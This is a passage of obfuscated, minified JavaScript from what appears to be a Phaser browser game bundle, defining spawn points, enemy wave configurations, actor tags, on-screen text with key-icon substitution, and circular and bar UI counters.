this['gameContext']['timeProvider']['cancelDelayedAction'](this['delayedHideAction']), this['delayedHideAction'] = this['gameContext']['timeProvider']['delayAction'](() => this['component']['hide'](), _0x4bf8d0); } ['onGamepadEvent'](_0x4cd9a5) { _0x4cd9a5 && ('connected' !== _0x4cd9a5['type'] || _0x4cd9a5['value'] || this['component']['setText'](this['config'], (0x0, _0x37c6ad['assembleText'])(this['config']['textConfig']['text'], this['gameContext']['getFromGameStore']('settings')))); } ['maybeSetupShowOnSceneMessage']() { this['config']['showOnSceneMessage'] && this['sceneMessageBus']['subscribe'](this, this['config']['showOnSceneMessage'], () => { this['component']['show'](), this['maybeSetupHideDelay'](); }); } ['maybeSetupHideDelay']() { const _0x5ab16c = this['config']['displayDurationMS'] ?? 0x0; _0x5ab16c > 0x0 && this['setupHideDelay'](_0x5ab16c); } } _0x1456b8['TextRenderController'] = _0xe6fe0c; }, 0x13a9: (_0x25b376, _0x1f80bc, _0x512079) => { 'use strict'; Object['defineProperty'](_0x1f80bc, '__esModule', { 'value': !0x0 }), _0x1f80bc['assembleText'] = void 0x0; const _0x16592c = _0x512079(0x21d4), _0x2fbcb8 = { 'arrowleft': '◀', 'arrowright': '▶', 'arrowdown': '▼', 'arrowup': '▲', 0x2af9: '◀', 0x2afa: '▶', 0x2afb: '▼', 0x2afc: '▲', 0x0: '◰', 0x1: '◱', 0x2: '◲', 0x3: '◳', 0x4: '◴', 0x5: '◵', 0x6: '◶', 0x7: '◷', 0x8: '◸', 0x9: '◹', 0xc: '◺', 0xd: '◻', 0xe: '◼', 0xf: '◽', 'xboxLeftStick': '◾', 'xboxRightStick': '◿', '\x20': '◡' }, _0x160c55 = { 'assembleText'(_0x4c0185, _0x45be5b) { return _0x4c0185['includes']('[') && _0x4c0185['includes'](']') && (_0x4c0185 = _0x4c0185['replace'](/\[.\]/g, '{interaction}')), _0x4c0185 = this['replaceInputPlaceholders'](_0x4c0185, _0x45be5b), _0x4c0185 = this['replaceSpecialKeys'](_0x4c0185); }, 'replaceInputPlaceholders'(_0x3cd15f, _0x5c10af) { const _0x3513f3 = _0x5c10af['inputType'] === _0x16592c['EInputType']['KEYBOARD'] ? _0x5c10af['keyboardMapping'] : _0x5c10af['gamepadMapping'], _0x11bea4 = { ...Object['fromEntries'](Object['entries'](_0x3513f3)['map'](([_0x2685c9, _0x206641]) => [_0x2685c9, String(_0x206641)])) }; return Object['keys'](_0x11bea4)['forEach'](_0x22c02b => { const _0x5a7ddc = '{' + _0x22c02b + '}'; if (_0x5c10af['inputType'] === _0x16592c['EInputType']['KEYBOARD']) { for (; _0x3cd15f['includes'](_0x5a7ddc);)_0x3cd15f = _0x3cd15f['replace'](_0x5a7ddc, '[<<' + _0x11bea4[_0x22c02b]['toUpperCase']() + '>>]'); } else { if (_0x5c10af['inputType'] === _0x16592c['EInputType']['GAMEPAD']) { for (; _0x3cd15f['includes'](_0x5a7ddc);)_0x3cd15f = _0x3cd15f['replace'](_0x5a7ddc, '<<' + _0x11bea4[_0x22c02b]['toUpperCase']() + '>>'); } } }), _0x3cd15f; }, 'replaceSpecialKeys': _0x9456af => (Object['keys'](_0x2fbcb8)['forEach'](_0x26872f => { const _0x348b3b = _0x26872f['toUpperCase'](); for (; _0x9456af['includes']('<<' + _0x348b3b['toUpperCase']() + '>>');)_0x9456af = _0x9456af['replace']('<<' + _0x348b3b['toUpperCase']() + '>>', _0x2fbcb8[_0x26872f]); }), _0x9456af = _0x9456af['replaceAll']('<<', '')['replaceAll']('>>', '')) }; _0x1f80bc['assembleText'] = _0x160c55['assembleText']['bind'](_0x160c55); }, 0x8a1: (_0x1f147c, _0x1d3cad, _0x8ed01a) => { 'use strict'; Object['defineProperty'](_0x1d3cad, '__esModule', { 'value': !0x0 }), _0x1d3cad['createSpawnPointActor'] = _0x1d3cad['ESpawnPointTag'] = void 0x0; const _0x17910e = _0x8ed01a(0x25fa), _0x3a4dd1 = _0x8ed01a(0xd2e), _0x2ad488 = _0x8ed01a(0x1657), _0x29db3b = _0x8ed01a(0x1832); !function (_0x2cbb6c) { _0x2cbb6c['GROUND'] = 'GROUND', _0x2cbb6c['FLYING'] = 'FLYING', _0x2cbb6c['SMALL'] = 'SMALL', _0x2cbb6c['LARGE'] = 'LARGE'; }(_0x1d3cad['ESpawnPointTag'] || (_0x1d3cad['ESpawnPointTag'] = {})), _0x1d3cad['createSpawnPointActor'] = function (_0x484b16) { return new _0x17910e['Actor']({ ..._0x484b16, 'tags': [_0x29db3b['EActorTag']['SPAWN_POINT']], 'name': 'AreaSensor', 'model': _0x3a4dd1['actorModel'], 'components': [new _0x2ad488['SpawnPointDebugRenderComponent'](_0x484b16)] }); }; }, 0x1657: (_0x5e53dd, _0x27f8b9, _0x8940ce) => { 'use strict'; Object['defineProperty'](_0x27f8b9, '__esModule', { 'value': !0x0 }), _0x27f8b9['SpawnPointDebugRenderComponent'] = void 0x0; const _0x55df81 = _0x8940ce(0x2414), _0x27df12 = _0x8940ce(0x8a1), _0x2ef0a1 = _0x8940ce(0x1f74); class _0x33512b extends _0x55df81['ActorComponent']{ constructor(_0x3434ad) { super(_0x3434ad); } ['init']() { this['gameMessageBus']['subscribe'](this, 'debugUpdate', this['renderDebugData']['bind'](this)); } ['renderDebugData']() { if (!localStorage['getItem']('render_debug')) return; const _0x50ca84 = this['gameContext']['getDebugGraphics'](); if (!_0x50ca84) return; const _0x25b2d2 = this['config']['spawnPointTags']['includes'](_0x27df12['ESpawnPointTag']['GROUND']), _0x23611f = this['config']['spawnPointTags']['includes'](_0x27df12['ESpawnPointTag']['SMALL']), _0x1fd183 = this['config']['spawnPointTags']['includes'](_0x27df12['ESpawnPointTag']['LARGE']), _0x596d12 = _0x1fd183 ? 0x1e : 0xf, _0x32d7b6 = this['store']['get']('renderPosition'); _0x23611f && (0x0, _0x2ef0a1['drawEmptyCircle'])(_0x50ca84, _0x32d7b6['x'], _0x32d7b6['y'], 0xf, 0xff0000), _0x1fd183 && (0x0, _0x2ef0a1['drawEmptyCircle'])(_0x50ca84, _0x32d7b6['x'], _0x32d7b6['y'], 0x1e, 0xff0000), (0x0, _0x2ef0a1['drawCross'])(_0x50ca84, _0x32d7b6['x'], _0x32d7b6['y'], _0x596d12, 0xff0000), _0x25b2d2 && ((0x0, _0x2ef0a1['drawLine'])(_0x50ca84, _0x32d7b6['x'] - _0x596d12 - 0xa, _0x32d7b6['y'] + 0x5 + _0x596d12, _0x32d7b6['x'] + _0x596d12 + 0xa, _0x32d7b6['y'] + 0x5 + _0x596d12, 0xff0000), (0x0, _0x2ef0a1['drawLine'])(_0x50ca84, _0x32d7b6['x'] - _0x596d12 - 0xa, _0x32d7b6['y'] + 0x8 + _0x596d12, _0x32d7b6['x'] + _0x596d12 + 0xa, _0x32d7b6['y'] + 0x8 + _0x596d12, 0xff0000)); } } _0x27f8b9['SpawnPointDebugRenderComponent'] = _0x33512b; }, 0x836: (_0xf20e02, _0x7292d4, _0x3340a3) => { 'use strict'; Object['defineProperty'](_0x7292d4, '__esModule', { 'value': !0x0 }), _0x7292d4['pickSpawnPoint'] = void 0x0; const _0x5ab046 = _0x3340a3(0x1832), _0x4ebe12 = _0x3340a3(0x221b); _0x7292d4['pickSpawnPoint'] = function (_0x2f9619) { const _0x27194f = _0x2f9619['gameContext']['queryActors'](_0x5ab046['EActorTag']['SPAWN_POINT'])['filter'](_0x50a484 => { const _0x5399e9 = _0x50a484['getConfig'](), _0x3596bb = _0x2f9619['tags']['every'](_0xfce254 => _0x5399e9['spawnPointTags']['includes'](_0xfce254)), _0x2a5559 = _0x2f9619['omittedTags']['some'](_0x364088 => _0x5399e9['spawnPointTags']['includes'](_0x364088)); return _0x3596bb && !_0x2a5559; }); if (0x0 === _0x27194f['length']) return null; const _0x46cd1b = _0x27194f['filter'](_0x513c00 => _0x513c00['id'] !== _0x2f9619['lastChosenSpawnPointId']), _0xc54a7 = _0x46cd1b['length'] > 0x0 ? _0x46cd1b : _0x27194f; return _0x2f9619['gameContext']['rngProvider']['getRandomElement'](_0x4ebe12['EProviderContext']['MAIN'], _0xc54a7); }; }, 0xa3f: function (_0x36dcbe, _0x4e4ded, _0x272618) { 'use strict'; var _0x30ebdc = this && this['__createBinding'] || (Object['create'] ? function (_0x577be4, _0xf7c8b6, _0x26763b, _0x3f11ec) { void 0x0 === _0x3f11ec && (_0x3f11ec = _0x26763b); var _0x3b287b = Object['getOwnPropertyDescriptor'](_0xf7c8b6, _0x26763b); _0x3b287b && !('get' in _0x3b287b ? !_0xf7c8b6['__esModule'] : _0x3b287b['writable'] || _0x3b287b['configurable']) || (_0x3b287b = { 'enumerable': !0x0, 'get': function () { return _0xf7c8b6[_0x26763b]; } }), Object['defineProperty'](_0x577be4, _0x3f11ec, _0x3b287b); } : function (_0x1796d0, _0x8ce705, _0x28a828, _0x19d550) { void 0x0 === _0x19d550 && (_0x19d550 = _0x28a828), _0x1796d0[_0x19d550] = _0x8ce705[_0x28a828]; }), _0x22f783 = this && this['__setModuleDefault'] || (Object['create'] ? function (_0x259222, _0x10ef39) { Object['defineProperty'](_0x259222, 'default', { 'enumerable': !0x0, 'value': _0x10ef39 }); } : function (_0x53af30, _0x331d87) { _0x53af30['default'] = _0x331d87; }), _0x129503 = this && this['__importStar'] || function (_0x3d9a95) { if (_0x3d9a95 && _0x3d9a95['__esModule']) return _0x3d9a95; var _0x1c910b = {}; if (null != _0x3d9a95) { for (var _0x3936fe in _0x3d9a95) 'default' !== _0x3936fe && Object['prototype']['hasOwnProperty']['call'](_0x3d9a95, _0x3936fe) && _0x30ebdc(_0x1c910b, _0x3d9a95, _0x3936fe); } return _0x22f783(_0x1c910b, _0x3d9a95), _0x1c910b; }; Object['defineProperty'](_0x4e4ded, '__esModule', { 'value': !0x0 }), _0x4e4ded['createSpawnzoneActor'] = _0x4e4ded['TSpawnzoneConfig'] = _0x4e4ded['TSpawnzoneWaveConfig'] = void 0x0; const _0x2e6b77 = _0x272618(0x25fa), _0x5b87b0 = _0x272618(0xd2e), _0x135e0c = _0x272618(0x2564), _0x139907 = _0x272618(0x2621), _0x17e65c = _0x272618(0x14ac), _0x1281ca = _0x272618(0x1832), _0x920476 = _0x129503(_0x272618(0x22f3)); _0x4e4ded['TSpawnzoneWaveConfig'] = _0x920476['type']({ 'active': _0x920476['boolean'], 'spawnDurationMS': _0x920476['number'], 'waveActiveDurationMS': _0x920476['number'], 'waveDurationMS': _0x920476['number'], 'spawnCounts': _0x920476['type']({ 'mook/ballbot': _0x920476['type']({ 'min': _0x920476['number'], 'max': _0x920476['number'] }), 'mook/hand': _0x920476['type']({ 'min': _0x920476['number'], 'max': _0x920476['number'] }), 'mook/spider': _0x920476['type']({ 'min': _0x920476['number'], 'max': _0x920476['number'] }), 'mook/flybot': _0x920476['type']({ 'min': _0x920476['number'], 'max': _0x920476['number'] }), 'mook/ballbot2': _0x920476['type']({ 'min': _0x920476['number'], 'max': _0x920476['number'] }), 'mook/hands2': _0x920476['type']({ 'min': _0x920476['number'], 'max': _0x920476['number'] }), 'mook/spider2': _0x920476['type']({ 'min': _0x920476['number'], 'max': _0x920476['number'] }), 'mook/flybot2': _0x920476['type']({ 'min': _0x920476['number'], 'max': _0x920476['number'] }) }) }), _0x4e4ded['TSpawnzoneConfig'] = _0x920476['type']({ 'wave[0]': _0x4e4ded['TSpawnzoneWaveConfig'], 'wave[1]': _0x4e4ded['TSpawnzoneWaveConfig'], 'wave[2]': _0x4e4ded['TSpawnzoneWaveConfig'], 'wave[3]': _0x4e4ded['TSpawnzoneWaveConfig'], 'wave[4]': _0x4e4ded['TSpawnzoneWaveConfig'], 'wave[5]': _0x4e4ded['TSpawnzoneWaveConfig'], 'wave[6]': _0x4e4ded['TSpawnzoneWaveConfig'], 'wave[7]': _0x4e4ded['TSpawnzoneWaveConfig'], 'wave[8]': _0x4e4ded['TSpawnzoneWaveConfig'], 'spawnzoneRange': _0x920476['number'], 'spawnzoneSpawnPointCount': _0x920476['number'] }); const _0x4bf6a4 = { ..._0x5b87b0['actorModel'], ..._0x17e65c['spawnzoneModel'] }; _0x4e4ded['createSpawnzoneActor'] = function (_0xdb29b9) { return new _0x2e6b77['Actor']({ ..._0xdb29b9, 'tags': [_0x1281ca['EActorTag']['MAP_OBJECT']], 'name': 'Spawnzone', 'model': _0x4bf6a4, 'components': [new _0x135e0c['SpawnzoneComponent']({ 'spawnzoneConfig': _0xdb29b9['spawnzoneConfig'], 'world': _0xdb29b9['world'] }), new _0x139907['SpawnzoneDebugRenderComponent']({})] }); }; }, 0x2564: function (_0x196815, _0x3d6356, _0x1b8dfb) { 'use strict'; var _0x2b51a9 = this && this['__importDefault'] || function (_0x496ba0) { return _0x496ba0 && _0x496ba0['__esModule'] ? _0x496ba0 : { 'default': _0x496ba0 }; }; Object['defineProperty'](_0x3d6356, '__esModule', { 'value': !0x0 }), _0x3d6356['SpawnzoneComponent'] = void 0x0; const _0x28602c = _0x2b51a9(_0x1b8dfb(0x9a8)), _0x183dcb = _0x1b8dfb(0x2414), _0x836e58 = _0x1b8dfb(0xb35), _0xbac9e2 = _0x1b8dfb(0x221b), _0x23a709 = _0x1b8dfb(0x18e5); class _0x55feab extends _0x183dcb['ActorComponent']{ constructor(_0x3b2fc9) { super(_0x3b2fc9); } ['postInit']() { this['gameContext']['timeProvider']['delayAction'](() => { this['store']['update']('spawnPoints', this['generateSpawnPoints']()); }, 0x64); } ['generateSpawnPoints']() { const _0x389835 = [], _0x59f690 = this['store']['get']('physicsPosition'); for (; _0x389835['length'] < this['config']['spawnzoneConfig']['spawnzoneSpawnPointCount'];) { const _0x3e9fb1 = this['gameContext']['rngProvider']['getRandomFloat'](_0xbac9e2['EProviderContext']['MAIN'], 0x0, 0x2 * Math['PI']), _0x5e9e77 = this['config']['spawnzoneConfig']['spawnzoneRange'], _0x3f1b99 = this['gameContext']['rngProvider']['getRandomFloat'](_0xbac9e2['EProviderContext']['MAIN'], _0x5e9e77 / 0x4, _0x5e9e77), _0x13d309 = _0x59f690['x'] + Math['cos'](_0x3e9fb1) * _0x3f1b99, _0x288c58 = _0x59f690['y'] + Math['sin'](_0x3e9fb1) * _0x3f1b99, _0x2efadc = { 'x': _0x13d309 - _0x59f690['x'], 'y': _0x288c58 - _0x59f690['y'] }, _0x1d351d = _0x3f1b99, _0x8691c = new _0x28602c['default']['Ray']({ 'x': _0x59f690['x'], 'y': _0x59f690['y'] }, _0x2efadc), _0x113ac6 = this['config']['world']['castRayAndGetNormal'](_0x8691c, _0x1d351d, !0x0, void 0x0, void 0x0, void 0x0, void 0x0, this['filterPredicate']); if (null !== _0x113ac6) { const _0x26b61b = _0x113ac6['normal'], _0x35eac3 = _0x8691c['pointAt'](_0x113ac6['toi']), _0x5731ab = _0x35eac3['x'] + 0x2 * _0x26b61b['x'], _0x21d6c9 = _0x35eac3['y'] + 0x2 * _0x26b61b['y']; _0x389835['push'](new _0x23a709['Vector'](_0x5731ab, _0x21d6c9)); } else _0x389835['push'](new _0x23a709['Vector'](_0x13d309, _0x288c58)); } return _0x389835; } ['filterPredicate'](_0x3e5d1b) { return 0x0 != (_0x3e5d1b['collisionGroups']() & _0x836e58['PhysicsConfig']['COLLISION_GROUPS']['GROUND'] << 0x10); } } _0x3d6356['SpawnzoneComponent'] = _0x55feab; }, 0x2621: (_0x53a451, _0x15a8f7, _0x30b7b3) => { 'use strict'; Object['defineProperty'](_0x15a8f7, '__esModule', { 'value': !0x0 }), _0x15a8f7['SpawnzoneDebugRenderComponent'] = void 0x0; const _0x870c14 = _0x30b7b3(0x2414), _0x14ec9e = _0x30b7b3(0x1f74), _0x484f61 = _0x30b7b3(0x2347); class _0x2d76e7 extends _0x870c14['ActorComponent']{ ['init']() { this['gameMessageBus']['subscribe'](this, 'debugUpdate', this['renderDebugData']['bind'](this)); } ['renderDebugData']() { if (!localStorage['getItem']('render_debug')) return; const _0x3dd11c = this['gameContext']['getDebugGraphics'](); if (!_0x3dd11c) return; const _0x44112e = this['store']['get']('renderPosition'); (0x0, _0x14ec9e['drawEmptyCircle'])(_0x3dd11c, _0x44112e['x'], _0x44112e['y'], 0xf, 0xffff), this['store']['get']('spawnPoints')['forEach'](_0x406611 => { (0x0, _0x14ec9e['drawCross'])(_0x3dd11c, (0x0, _0x484f61['physicsScalar2RenderScalar'])(_0x406611['x']), (0x0, _0x484f61['physicsScalar2RenderScalar'])(_0x406611['y']), 0xf, 0xffff); }); } } _0x15a8f7['SpawnzoneDebugRenderComponent'] = _0x2d76e7; }, 0x14ac: (_0x5668dc, _0xe59c75) => { 'use strict'; Object['defineProperty'](_0xe59c75, '__esModule', { 'value': !0x0 }), _0xe59c75['spawnzoneModel'] = void 0x0, _0xe59c75['spawnzoneModel'] = { 'currentWaveIndex': 0x0, 'waves': {}, 'spawnPoints': [] }; }, 0x1832: (_0x8b2c41, _0x5f35d8) => { 'use strict'; var _0x70e2a; Object['defineProperty'](_0x5f35d8, '__esModule', { 'value': !0x0 }), _0x5f35d8['validateTag'] = _0x5f35d8['EActorTag'] = void 0x0, function (_0xf78e1e) { _0xf78e1e['PLAYER'] = 'PLAYER', _0xf78e1e['ENEMY'] = 'ENEMY', _0xf78e1e['PLAYER_PROJECTILE'] = 'PLAYER_PROJECTILE', _0xf78e1e['ENEMY_PROJECTILE'] = 'ENEMY_PROJECTILE', _0xf78e1e['PLAYER_OBJECTIVE'] = 'PLAYER_OBJECTIVE', _0xf78e1e['ENEMY_OBJECTIVE'] = 'ENEMY_OBJECTIVE', _0xf78e1e['GROUND'] = 'GROUND', _0xf78e1e['OTHER'] = 'OTHER', _0xf78e1e['CHUNK'] = 'CHUNK', _0xf78e1e['MAP_UTILITY'] = 'MAP_UTILITY', _0xf78e1e['MAP_OBJECT'] = 'MAP_OBJECT', _0xf78e1e['MAP_AREA_SENSOR'] = 'MAP_AREA_SENSOR', _0xf78e1e['PICKUP'] = 'PICKUP', _0xf78e1e['PICKUP_SPAWNER'] = 'PICKUP_SPAWNER', _0xf78e1e['UI'] = 'UI', _0xf78e1e['SPAWN'] = 'SPAWN', _0xf78e1e['SPAWN_POINT'] = 'SPAWN_POINT', _0xf78e1e['NPC'] = 'NPC', _0xf78e1e['GATE'] = 'GATE', _0xf78e1e['HAS_NO_UI'] = 'HAS_NO_UI'; }(_0x70e2a = _0x5f35d8['EActorTag'] || (_0x5f35d8['EActorTag'] = {})), _0x5f35d8['validateTag'] = function (_0x49b60a) { if (!Object['values'](_0x70e2a)['includes'](_0x49b60a)) throw new Error('Tag:\x20' + _0x49b60a + '\x20is\x20not\x20defined.\x20Available\x20tags:\x20' + Object['values'](_0x70e2a)['join'](',\x20')); }; }, 0x23a5: (_0x1620bd, _0x1ad0c3) => { 'use strict'; Object['defineProperty'](_0x1ad0c3, '__esModule', { 'value': !0x0 }), _0x1ad0c3['barModel'] = void 0x0, _0x1ad0c3['barModel'] = { 'value': NaN }; }, 0xad2: (_0x21ee8f, _0x3a7a68, _0x1be888) => { 'use strict'; Object['defineProperty'](_0x3a7a68, '__esModule', { 'value': !0x0 }), _0x3a7a68['BarValueController'] = void 0x0; const _0x5472c9 = _0x1be888(0x1520); class _0x53967c extends _0x5472c9['ComponentController']{ constructor(_0x59cd08) { super(_0x59cd08); } ['init']() { this['gameMessageBus']['subscribe'](this, 'updateCounter', ({ counterName: _0x41f2e6, value: _0x442d15 }) => this['updateCounter'](_0x41f2e6, _0x442d15)); } ['updateCounter'](_0x1747b2, _0x1e5b47) { this['config']['name'] === _0x1747b2 && this['component']['setValue'](_0x1e5b47['current']); } } _0x3a7a68['BarValueController'] = _0x53967c; }, 0xe48: function (_0x1f3857, _0x45cd5b, _0x33d6b3) { 'use strict'; var _0x40595 = this && this['__importDefault'] || function (_0x1d792a) { return _0x1d792a && _0x1d792a['__esModule'] ? _0x1d792a : { 'default': _0x1d792a }; }; Object['defineProperty'](_0x45cd5b, '__esModule', { 'value': !0x0 }), _0x45cd5b['CircularCounter'] = void 0x0; const _0x370763 = 0x82, _0x3f7448 = 0xffffff, _0x57697b = 0xaa0000, _0x270968 = _0x40595(_0x33d6b3(0x1b39)); _0x45cd5b['CircularCounter'] = class { ['config'];['isSingleSegment'];['icon'];['segments'] = []; constructor(_0x4dc447) { this['config'] = _0x4dc447, this['isSingleSegment'] = _0x4dc447['maxValue'] >= 0xc, this['icon'] = this['maybeCreateIcon'](_0x4dc447), _0x4dc447['renderIconOnly'] || (this['isSingleSegment'] ? this['segments'] = this['createCircleImages'](0x1, 0x168) : this['segments'] = this['createCircleImages'](this['config']['maxValue'], 0x168 / this['config']['maxValue'])); } ['setValue'](_0xdf72a8) { this['config']['renderIconOnly'] || (this['isSingleSegment'] ? this['setValueContinuousSegmentsCase'](_0xdf72a8) : this['setValueMultiSegmentsCase'](_0xdf72a8)); } ['destroy']() { this['segments']['forEach'](_0x2384e9 => _0x2384e9['destroy']()), this['icon']['destroy'](); } ['updatePosition'](_0x6cf1d7) { this['segments']['forEach'](_0x3504c5 => _0x3504c5['setPosition'](_0x6cf1d7['x'], _0x6cf1d7['y'])), this['icon']['setPosition'](_0x6cf1d7['x'], _0x6cf1d7['y']); } ['show']() { this['segments']['forEach'](_0x9c15b5 => _0x9c15b5['setVisible'](!0x0)), this['icon']['setVisible'](!0x0); } ['hide']() { this['segments']['forEach'](_0xde0cad => _0xde0cad['setVisible'](!0x1)), this['icon']['setVisible'](!0x1); } ['setValueContinuousSegmentsCase'](_0x461ab0) { this['segments']['forEach'](_0x202b6e => _0x202b6e['destroy']()); const _0x26752d = _0x461ab0 / this['config']['maxValue'] * 0x168, _0x41a8ca = this['createCircleImages'](0x1, _0x26752d)[0x0], _0x2fbca6 = 0x168 - _0x26752d, _0x162805 = this['createCircleImages'](0x1, _0x2fbca6)[0x0]; _0x162805['setTint'](_0x57697b), _0x41a8ca['setRotation'](_0x270968['default']['degToRad'](_0x2fbca6) + 0x3 * Math['PI'] / 0x2), this['segments'] = [_0x41a8ca, _0x162805], this['segments']['forEach'](_0x7a61d3 => { _0x7a61d3['setPosition'](this['icon']['x'], this['icon']['y']), _0x7a61d3['visible'] = this['icon']['visible']; }); } ['setValueMultiSegmentsCase'](_0x6f3b18) { this['segments']['forEach']((_0x21afe7, _0x1748c4) => { const _0x3fa555 = _0x1748c4 < _0x6f3b18; _0x21afe7['setTint'](_0x3fa555 ? this['config']['tint'] ?? _0x3f7448 : _0x57697b), _0x21afe7['visible'] = this['icon']['visible']; }); } ['createCircleImages'](_0x355b44, _0x38f098) { const _0x109aa7 = [], _0x484454 = _0x38f098 - 0xa > 0x0 && _0x355b44 > 0x1 ? 0xa : 0x0, _0x45ac19 = 'segmentTexture_' + _0x38f098 + '_' + _0x484454; this['maybeCreateTextureSegment'](this['config']['scene'], _0x38f098, _0x484454, _0x45ac19); const _0x9b50d7 = _0x270968['default']['degToRad'](_0x484454 / 0x2), _0x28abee = this['config']['size'] ? this['config']['size'] / _0x370763 : 0x1; for (let _0x31dec2 = 0x1; _0x31dec2 < _0x355b44 + 0x1; _0x31dec2++) { const _0xa4402e = this['config']['scene']['add']['image'](0x0, 0x0, _0x45ac19); _0xa4402e['setDepth'](this['config']['depth']), _0xa4402e['setScale'](_0x28abee), _0xa4402e['setRotation'](-0x2 * Math['PI'] / _0x355b44 * _0x31dec2 + 0x3 * Math['PI'] / 0x2 + _0x9b50d7), _0xa4402e['setAlpha'](0.7), _0xa4402e['setTint'](this['config']['tint'] ?? 0xffffff), _0x109aa7['push'](_0xa4402e); } return _0x109aa7; } ['maybeCreateTextureSegment'](_0xe4b75a, _0xa574d8, _0x4169c5, _0x5bd61a) { if (_0xe4b75a['textures']['exists'](_0x5bd61a)) return; const _0x39cc96 = _0xe4b75a['make']['graphics'](); _0x39cc96['fillStyle'](0x0, 0x1), _0x39cc96['slice'](_0x370763, _0x370763, _0x370763, _0x270968['default']['degToRad'](0x0), _0x270968['default']['degToRad'](_0xa574d8)), _0x39cc96['fillPath'](), _0x39cc96['fillStyle'](_0x3f7448, 0x1), _0x39cc96['slice'](_0x370763, _0x370763, 0x78, 0x0, _0x270968['default']['degToRad'](_0xa574d8 - _0x4169c5)), _0x39cc96['fillPath'](), _0x39cc96['fillStyle'](0x0, 0x1), _0x39cc96['slice'](_0x370763, _0x370763, 0x69, _0x270968['default']['degToRad'](0x0), _0x270968['default']['degToRad'](_0xa574d8)), _0x39cc96['fillPath'](), _0x39cc96['generateTexture'](_0x5bd61a, 0x104, 0x104), _0x39cc96['destroy'](!0x0); } ['maybeCreateIcon'](_0x488f6d) { if (!_0x488f6d['iconConfigPath']) return _0x488f6d['scene']['add']['image'](0x0, 0x0, ''); const _0x36d9fb = _0x488f6d['gameContext']['getAnimationConfig'](_0x488f6d['iconConfigPath']); _0x488f6d['scene']['anims']['exists'](_0x36d9fb['animationConfig']['key']) || _0x488f6d['scene']['anims']['create'](_0x36d9fb['animationConfig']); const _0xd02eb0 = _0x36d9fb['animationConfig']['key'] ? void 0x0 : _0x36d9fb['animationConfig']['staticFrame'], _0x540555 = _0x488f6d['scene']['add']['sprite'](0x0, 0x0, _0x36d9fb['textureName'], _0xd02eb0); return _0xd02eb0 || _0x540555['play'](_0x36d9fb['animationConfig']['key']), _0x540555['blendMode'] = _0x36d9fb['blendMode'] || Phaser['BlendModes']['NORMAL'], _0x540555['tint'] = _0x36d9fb['tint'] || 0xffffff, _0x540555['alpha'] = _0x36d9fb['alpha'] ?? 0x1, _0x540555['scale'] = (this['config']['size'] ? this['config']['size'] / _0x370763 : 0x1) * (_0x36d9fb['scale'] ?? 0x1), _0x540555['blendMode'] === Phaser['BlendModes']['ADD'] ? _0x540555['setDepth'](_0x488f6d['depthAdd'] + 0.1) : _0x540555['setDepth'](_0x488f6d['depth'] + 0.1), _0x488f6d['scene']['add']['existing'](_0x540555), _0x540555; } }; }, 0xc01: (_0x10f9cb, _0x5858fe, _0x19abf6) => { 'use strict'; Object['defineProperty'](_0x5858fe, '__esModule', { 'value': !0x0 }), _0x5858fe['createCircularCounterActor'] = void 0x0; const _0x240d96 = _0x19abf6(0x25fa), _0x4834ae = _0x19abf6(0xd2e), _0x1fe568 = _0x19abf6(0x1832), _0x99f3be = _0x19abf6(0x23a5), _0x47b95b = _0x19abf6(0xad2), _0x23a8cc = _0x19abf6(0x2546), _0x198f52 = { ..._0x4834ae['actorModel'], ..._0x99f3be['barModel'] }; _0x5858fe['createCircularCounterActor'] = function (_0x32f30e) { return new _0x240d96['Actor']({ ..._0x32f30e, 'tags': [_0x1fe568['EActorTag']['UI']], 'name': 'UI_BAR_' + _0x32f30e['name'], 'model': _0x198f52, 'components': [new _0x23a8cc['CircularCounterRenderComponent']({ ..._0x32f30e, 'controllers': [new _0x47b95b['BarValueController'](_0x32f30e)] })] }); }; }, 0x2546: (_0x651f7f, _0x3e619b, _0x2eb620) => { 'use strict'; Object['defineProperty'](_0x3e619b, '__esModule', { 'value': !0x0 }), _0x3e619b['CircularCounterRenderComponent'] = void 0x0; const _0x3f29d2 = _0x2eb620(0x2414), _0x501391 = _0x2eb620(0xe48), _0x46be2d = _0x2eb620(0x18e5); class _0x281429 extends _0x3f29d2['ActorComponent']{ ['circularCounter'];['boundUpdateCounterPosition'] = this['updateCounterPosition']['bind'](this);['attachedActor']; constructor(_0x226a56) { super({ ..._0x226a56, 'isRenderComponent': !0x0 }); } ['init']() { this['circularCounter'] = new _0x501391['CircularCounter']({ ...this['config'], 'scene': this['scene'], 'gameContext': this['gameContext'], 'depth': this['config']['depth'], 'depthAdd': this['config']['depthAdd'], 'size': this['config']['size'] }), this['updateCounterPosition']({ 'newValue': this['config']['initialPosition'] }), this['config']['attachToActor'] && this['setupActorAttachment'](), this['gameMessageBus']['subscribe'](this, 'hideUi', () => this['hide']()); } ['destroy']() { this['circularCounter']['destroy'](); } ['show']() { this['circularCounter']['show'](); } ['hide']() { this['circularCounter']['hide'](); } ['setValue'](_0x2b7203) { this['circularCounter']['setValue'](_0x2b7203); } ['changeAttachedActor'](_0x6a40ba) { this['attachedActor']?.['unsubscribeFromStore']('renderPosition', this['boundUpdateCounterPosition']), this['attachedActor'] = _0x6a40ba, _0x6a40ba['subscribeToStore']('renderPosition', this['boundUpdateCounterPosition']); } ['updateCounterPosition'](_0x597105) { this['circularCounter']['updatePosition']((0x0, _0x46be2d['add'])(_0x597105['newValue'], this['config']['positionOffset'] || { 'x': 0x0, 'y': 0x0 })); } ['setupActorAttachment']() { this['attachedActor'] = this['actor'], this['store']['subscribe']('renderPosition', this['boundUpdateCounterPosition']); } } _0x3e619b['CircularCounterRenderComponent'] = _0x281429; }, 0x1403: (_0x3607fb, _0x32bb81, _0x4a0f29) => { 'use strict'; Object['defineProperty'](_0x32bb81, '__esModule', { 'value': !0x0 }), _0x32bb81['ContinuousBar'] = void 0x0; const _0x560e04 = _0x4a0f29(0x18e5); _0x32bb81['ContinuousBar'] = class { ['config'];['valueElement'];['backgroundElement'];['endingElements'] = [];['icon']; constructor(_0x545450) { this['config'] = _0x545450, this['config']['barOrigin'] = this['config']['barOrigin'] ?? 'center', this['valueElement'] = this['createElement'](this['config']['configPath']['value'], this['config']), this['backgroundElement'] = this['createElement'](this['config']['configPath']['background'], this['config']), this['config']['configPath']['ending'] && (this['endingElements']['push'](this['createEndingElement'](this['config']['configPath']['ending'], this['valueElement'], this['config'], !0x0)), this['endingElements']['push'](this['createEndingElement'](this['config']['configPath']['ending'], this['valueElement'], this['config'], !0x1))), this['icon'] = this['maybeCreateIcon'](this['config']), 'center' === this['config']['barOrigin'] && this['centerSprites'](); } ['destroy']() { this['valueElement']['image']['destroy'](), this['backgroundElement']['image']['destroy'](), this['endingElements']['forEach'](_0x4b1346 => 